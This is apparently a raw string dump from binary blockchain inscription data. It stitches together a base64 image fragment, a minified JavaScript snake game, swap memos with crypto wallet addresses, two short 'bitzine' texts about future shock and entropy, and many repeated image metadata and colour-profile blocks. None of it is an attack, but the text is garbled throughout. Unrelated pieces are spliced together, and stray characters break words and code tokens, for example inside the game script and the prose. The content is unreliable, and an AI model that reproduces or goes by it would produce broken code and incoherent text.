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" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(cM
ount=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===aM
pple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.Ljdy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
DjB=:BNB.BNB:bnb16294mhn84y0fxy2t4mg92sxl9glulrr8ne6j0t:72133850:te:0
JjH=:BNB.BUSD-BD1:bnb1h5mr8940phwzjlr688rnd3kmgemhnmfe83ss45:656276411:te:0
'@*'##'O8</@]Rba\RZYgt
text/plain;charset=utf-8
./bitzine --issue 000
I come from another time, another medium. But now I'm here to stay.
Words are finally free... Free as in freedom, not free beer.
This is a vaccine for future shock that will prepare you for competing ideas, for the memes.
The future is not going away. On the contrary, change is going to accelerate.
After wandering along at a slow pace for centuries, our world started to enter a period of change that will far outpace historical standards.
The 20th century was fast, the 21st will be even fastM
We face a turning point in history - a time when computers, artificial intelligence, nanotechnology, self-modification, physical immortality and other factors promise to radically transform virtually every aspect of our existence. It's time to prepare ourselves for that future.
We may have to radically revise our present conceptual frameworks, values, and expectations to be able to survive and prosper in the new age.
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.orgL
/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1L
999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
"-)#""#)8/////8A;;;;;;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#1?1&&1?A?;/;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
!!!!!!!!!!!!!!!!!!!!!!!!
"-)#""#)8/////8A;;;;;;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#1?1&&1?A?;/;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Adobe Photoshop 22.1 (Windows)
cropWhenPrintingbool
transparencyDitherAlgorithmenum
transparencyDitherAmountlong
HTMLBackgroundSettingsObjc
BackgroundColorBluelong
BackgroundColorGreenlong
BackgroundColorRedlong
BackgroundColorStatelong
BackgroundImagePathTEXT
UseImageAsBackgroundbool
AlwaysAddAltAttributebool
FileSavingSettingsObjc
DuplicateFileNameBehaviorlong
HtmlFileNameComponentsVlLs
ImageSubfolderNameTEXT
NameCompatibilityObjc
NameCompatWindowsbool
OutputMultipleFilesbool
SavingFileNameComponentsVlLs
SliceFileNameComponentsVlLs
UseImageSubfolderboM
UseLongExtensionsbool
GoLiveCompatiblebool
ImageMapLocationlong
IncludeZeroMarginsbool
QuoteAllAttributesbool
SpacersEmptyCellslong
SpacersHorizontallong
UseLongHTMLExtensionbool
MetadataOutputSettingsObjc
AddXMPSourceFileURIbool
WriteXMPToSidecarFilesbool
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c005 79.164590, 2020/12/09-11:57:44        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="httM
p://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmp:CreateDate="2021-04-06T18:29:34+03:00" xmp:ModifyDate="2023-02-14T13:19:27+04:00" xmp:MetadataDate="2023-02-14T13:19:27+04:00" dc:format="image/jpeg" photoshop:ColorMode=M
"3" xmpMM:InstanceID="xmp.iid:c8d584ce-f30e-e542-b8ed-22f01a83169b" xmpMM:DocumentID="adobe:docid:photoshop:2673170d-1dec-1c45-989b-67329530cb77" xmpMM:OriginalDocumentID="xmp.did:fa36948d-d597-2d4f-8c83-161e9adc115a"> <photoshop:DocumentAncestors> <rdf:Bag> <rdf:li>adobe:docid:photoshop:05e5cae0-8436-0c42-9166-097c2a91de8d</rdf:li> <rdf:li>adobe:docid:photoshop:0715d466-ca4e-c949-8a7b-b7738a31458a</rdf:li> <rdf:li>adobe:docid:photoshop:1025ca46-c544-11ec-a8dd-879706ff01ac</rdf:li> <rdf:li>adobe:docid:photoshop:179M
e26ae-ac21-11ec-8492-e82857642bc9</rdf:li> <rdf:li>adobe:docid:photoshop:1a44f29e-d913-11eb-bf95-a62551f149d0</rdf:li> <rdf:li>adobe:docid:photoshop:2bec54e6-a2c2-11eb-abfc-e5b9ba12c377</rdf:li> <rdf:li>adobe:docid:photoshop:35f02a7c-5539-184b-ae57-6406d162c756</rdf:li> <rdf:li>adobe:docid:photoshop:50fae968-2cee-11ec-a0eb-eb2644101924</rdf:li> <rdf:li>adobe:docid:photoshop:54d9a0c5-a384-11ec-9469-913a8dfb9a4d</rdf:li> <rdf:li>adobe:docid:photoshop:59944642-c33d-7147-b11c-535218f63dab</rdf:li> <rdf:li>adobe:docid:pM
hotoshop:59ebded0-842a-11ec-9a41-a618b0b44948</rdf:li> <rdf:li>adobe:docid:photoshop:5ab31c48-5f35-11ec-9b04-d151900b5a20</rdf:li> <rdf:li>adobe:docid:photoshop:5c46e872-8b4e-11ec-ae84-b95ef1ebbd4c</rdf:li> <rdf:li>adobe:docid:photoshop:63d8ef67-c504-11eb-bc1b-fe3a6c853fb1</rdf:li> <rdf:li>adobe:docid:photoshop:7557402f-7207-11ec-b40e-f8b8942e67c0</rdf:li> <rdf:li>adobe:docid:photoshop:76f5c79c-c384-11eb-bc1b-fe3a6c853fb1</rdf:li> <rdf:li>adobe:docid:photoshop:8121ede9-9eab-11eb-9b31-9be16abe8e48</rdf:li> <rdf:li>aM
dobe:docid:photoshop:8a6e25cb-e0c5-11ec-956f-d5af5d10d567</rdf:li> <rdf:li>adobe:docid:photoshop:91f77e6a-7ac7-11ec-afc9-97a47fcc03f0</rdf:li> <rdf:li>adobe:docid:photoshop:94b006f6-1fb4-11ed-88a3-c54808fec630</rdf:li> <rdf:li>adobe:docid:photoshop:9a0ccf07-1d54-11ec-b9df-f37e6a19565b</rdf:li> <rdf:li>adobe:docid:photoshop:9be0e1c9-be61-11eb-bc1b-fe3a6c853fb1</rdf:li> <rdf:li>adobe:docid:photoshop:b536a12b-7a05-11ec-afc9-97a47fcc03f0</rdf:li> <rdf:li>adobe:docid:photoshop:b7e9e60a-d915-11eb-bf95-a62551f149d0</rdf:lM
i> <rdf:li>adobe:docid:photoshop:ba554f49-bc7a-11eb-bc1b-fe3a6c853fb1</rdf:li> <rdf:li>adobe:docid:photoshop:bd0c769e-c773-11eb-bc1b-fe3a6c853fb1</rdf:li> <rdf:li>adobe:docid:photoshop:c24dd136-ae41-11eb-b310-f483973798b5</rdf:li> <rdf:li>adobe:docid:photoshop:ccc20e8b-9eb0-11eb-9b31-9be16abe8e48</rdf:li> <rdf:li>adobe:docid:photoshop:d7461191-f467-11eb-89a4-a784cc65f8bd</rdf:li> <rdf:li>adobe:docid:photoshop:d8870fde-c3a6-11eb-bc1b-fe3a6c853fb1</rdf:li> <rdf:li>adobe:docid:photoshop:dae56c96-153a-11ec-af67-b1534abM
9d843</rdf:li> <rdf:li>adobe:docid:photoshop:e6d5ee28-72ef-11ec-bfab-e14d7f2e3fda</rdf:li> <rdf:li>xmp.did:28CB92A1AD1711EB8A26F9FF906B89F1</rdf:li> <rdf:li>xmp.did:38F87AAEA9D611EBBAE395DE687C6803</rdf:li> <rdf:li>xmp.did:40C2E0EBB80111EBAFE4F6C2E9269301</rdf:li> <rdf:li>xmp.did:D988A02B7AD311ECA9CB99941B0A6A86</rdf:li> <rdf:li>xmp.did:ee28af6e-adac-0147-86f3-18c958f404ce</rdf:li> <rdf:li>xmp.did:fa36948d-d597-2d4f-8c83-161e9adc115a</rdf:li> </rdf:Bag> </photoshop:DocumentAncestors> <xmpMM:History> <rdf:Seq> <rdf:M
li stEvt:action="created" stEvt:instanceID="xmp.iid:fa36948d-d597-2d4f-8c83-161e9adc115a" stEvt:when="2021-04-06T18:29:34+03:00" stEvt:softwareAgent="Adobe Photoshop CC 2015 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:dad318dc-42fd-dc4a-b9d8-38769b1d6793" stEvt:when="2021-04-13T13:49:22+03:00" stEvt:softwareAgent="Adobe Photoshop CC 2015 (Windows)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:991e04a4-6870-9642-bd90-f34736eefe36" stEvt:when="2023-02-14T13:19:27+M
04:00" stEvt:softwareAgent="Adobe Photoshop 22.1 (Windows)" stEvt:changed="/"/> <rdf:li stEvt:action="converted" stEvt:parameters="from application/vnd.adobe.photoshop to image/jpeg"/> <rdf:li stEvt:action="derived" stEvt:parameters="converted from application/vnd.adobe.photoshop to image/jpeg"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:c8d584ce-f30e-e542-b8ed-22f01a83169b" stEvt:when="2023-02-14T13:19:27+04:00" stEvt:softwareAgent="Adobe Photoshop 22.1 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM
M:History> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:991e04a4-6870-9642-bd90-f34736eefe36" stRef:documentID="adobe:docid:photoshop:44373315-a63f-ab4a-98ca-0adeeb2caee0" stRef:originalDocumentID="xmp.did:fa36948d-d597-2d4f-8c83-161e9adc115a"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                 <?xpacket end="w"?>
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
"-)#""#)8/////8A;;;;;;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#1?1&&1?A?;/;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
((((((((((((((((((((((((((((((((((((((((((((((((((
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 5.5.0">
 <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:exif="http://ns.adobe.com/exif/1.0/"
    xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
    xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
    xmlns:xmp="http://ns.adobe.com/xap/1.0/"
    xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mM
    xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
   exif:ColorSpace="1"
   exif:PixelXDimension="360"
   exif:PixelYDimension="360"
   photoshop:ColorMode="3"
   photoshop:ICCProfile="sRGB IEC61966-2.1"
   tiff:ImageLength="360"
   tiff:ImageWidth="360"
   tiff:ResolutionUnit="2"
   tiff:XResolution="72/1"
   tiff:YResolution="72/1"
   xmp:MetadataDate="2023-02-13T20:36:18+01:00"
   xmp:ModifyDate="2023-02-13T20:36:18+01:00">
      xmpMM:action="prM
      xmpMM:softwareAgent="Affinity Photo 1.10.5"
      xmpMM:when="2023-02-11T22:31:19+01:00"/>
      xmpMM:action="produced"
      xmpMM:softwareAgent="Affinity Photo 1.10.5"
      xmpMM:when="2023-02-13T14:54:03+01:00"/>
      stEvt:action="produced"
      stEvt:softwareAgent="Affinity Photo 1.10.5"
      stEvt:when="2023-02-13T20:36:18+01:00"/>
  </rdf:Description>
iCCPsRGB IEC61966-2.1
((((((((((((((((((((((((((((((((((((((((((((((((((
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuM
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
text/plain;charset=utf-8
!22222222222222222222222222222222222222222222222222
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
yhttp://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimM
p:docid:gimp:c59c945b-d041-4819-b730-59220f280a31" xmpMM:InstanceID="xmp.iid:b483435b-de0f-4271-8477-c6c6bdc9a4e8" xmpMM:OriginalDocumentID="xmp.did:de3d3af5-2809-47c1-8038-df1db1583951" dc:Format="image/jpeg" GIMP:API="2.0" GIMP:Platform="Mac OS" GIMP:TimeStamp="1676345651549864" GIMP:Version="2.10.30" xmp:CreatorTool="GIMP 2.10"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:e84cd53f-c1da-444d-b6ed-984f188e28ff" stEvt:softwareAgent="Gimp 2.10 (Mac OS)" stEvt:whM
en="2023-02-13T22:34:11-05:00"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                 M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                        <?xpacket end="w"?>
Copyright Apple Inc., 2017
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
bXbXbXbXbXbXbXbXbXbXba
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
?x}?7P}?7P}?7P}?7P}?7P7
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
!22222222222222222222222222222222222222222222222222
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
!!!!!!###$$$$$$&&&'''((((((***+++,,,,,,---///000111222222333555666777888999:::;;;<<<===>>>>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUUUUVVVXXXYYYZZZ[[[\\\]]]]]]^^^```aaabbbcccddddddfffggghhhiiijjjjjjlllmmmnnnooooooqqqrrrsssttttttvvvwww~zl
!!!!!!###$$$$$$&&&'''((((((***+++,,,,,,---///41,94(=6%B9"F;
sY sZ%r\*r^0q`7qb?pdFofOoiYoldooooooqqqrrrsssttttttvvvwwwxxxzzzzzz{{{|||~~~~~~
text/plain;charset=utf-8
Bj@=:ETH.ETH:0xF7a9D40C22c8A252841C829527Ca6Fcf3E9b0599:10937879::0
Aj?=:BNB.BNB:bnb14huxdm85hgw82nk8e80jq55nwexwk9cwhfzqpn:8228769::0
EjC=:BNB.ETH-1C9:bnb1je4ka5ar7drjs8d06vspwc7e80kadk4fenwlqu:9066296::0
iTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:exif="http://ns.adobe.com/exif/1.0/"
            xmlns:tiff="M
http://ns.adobe.com/tiff/1.0/">
         <exif:PixelXDimension>794</exif:PixelXDimension>
         <exif:UserComment>Screenshot</exif:UserComment>
         <exif:PixelYDimension>1161</exif:PixelYDimension>
         <tiff:ResolutionUnit>2</tiff:ResolutionUnit>
         <tiff:YResolution>144</tiff:YResolution>
         <tiff:XResolution>144</tiff:XResolution>
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
FjDOUT:226F2EE1A600417997B9AB7BB0E9E1884A95BC434B4A634115228A339F984D89
text/plain;charset=utf-8
./bitzine --issue 001
Our universe naturally trends toward entropy.
To statisticians, entropy means a loss of order.
To thermodynamicists, it indicates a loss in the amount of usable energy.
Information theorists equate entropy with the decrease in the amount of information.
It is entropy that breaks down our cars, shorts out our computers, and withers our flesh.
Entropy is the supreme enemy of human hope.
Bitcoin takes entropy and crunches it into keys of hope.
In a universe that blindly threatens to dL]rown us in a rising tide of disorder, Bitcoin offers us safe passage to higher ground.
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 5.5.0">
 <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:exif="http://ns.adobe.com/exif/1.0/"
    xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
    xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
    xmlns:xmp="http://ns.adobe.com/xap/1.0/"
    xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mM
    xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
   exif:ColorSpace="1"
   exif:PixelXDimension="360"
   exif:PixelYDimension="360"
   photoshop:ColorMode="3"
   photoshop:ICCProfile="sRGB IEC61966-2.1"
   tiff:ImageLength="360"
   tiff:ImageWidth="360"
   tiff:ResolutionUnit="2"
   tiff:XResolution="72/1"
   tiff:YResolution="72/1"
   xmp:MetadataDate="2023-02-14T01:59:13+01:00"
   xmp:ModifyDate="2023-02-14T01:59:13+01:00">
      xmpMM:action="prM
      xmpMM:softwareAgent="Affinity Photo 1.10.5"
      xmpMM:when="2023-02-11T22:31:19+01:00"/>
      xmpMM:action="produced"
      xmpMM:softwareAgent="Affinity Photo 1.10.5"
      xmpMM:when="2023-02-13T14:54:03+01:00"/>
      stEvt:action="produced"
      stEvt:softwareAgent="Affinity Photo 1.10.5"
